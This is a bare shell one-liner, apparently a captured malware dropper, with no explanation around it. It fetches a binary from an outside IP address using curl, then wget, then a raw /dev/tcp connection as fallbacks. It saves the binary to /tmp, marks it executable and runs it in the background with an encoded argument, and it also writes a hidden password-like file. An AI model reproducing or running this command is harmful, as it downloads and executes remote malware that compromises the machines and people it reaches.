nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/av3SAbTvct; if [ ! -f /tmp/av3SAbTvct ]; then wget http://218.3.177.39:60120/linux -O /tmp/av3SAbTvct; fi; if [ ! -f /tmp/av3SAbTvct ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/av3SAbTvct && chmod +x /tmp/av3SAbTvct && /tmp/av3SAbTvct RKJHLaoBJWLekDGG2ngmGakpRrM1MqJHKasBJWfT[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/av3SAbTvct && /tmp/av3SAbTvct RKJHLaoBJWLekDGG2ngmGakpRrM1MqJHKasBJWfT[...]" &#UPX!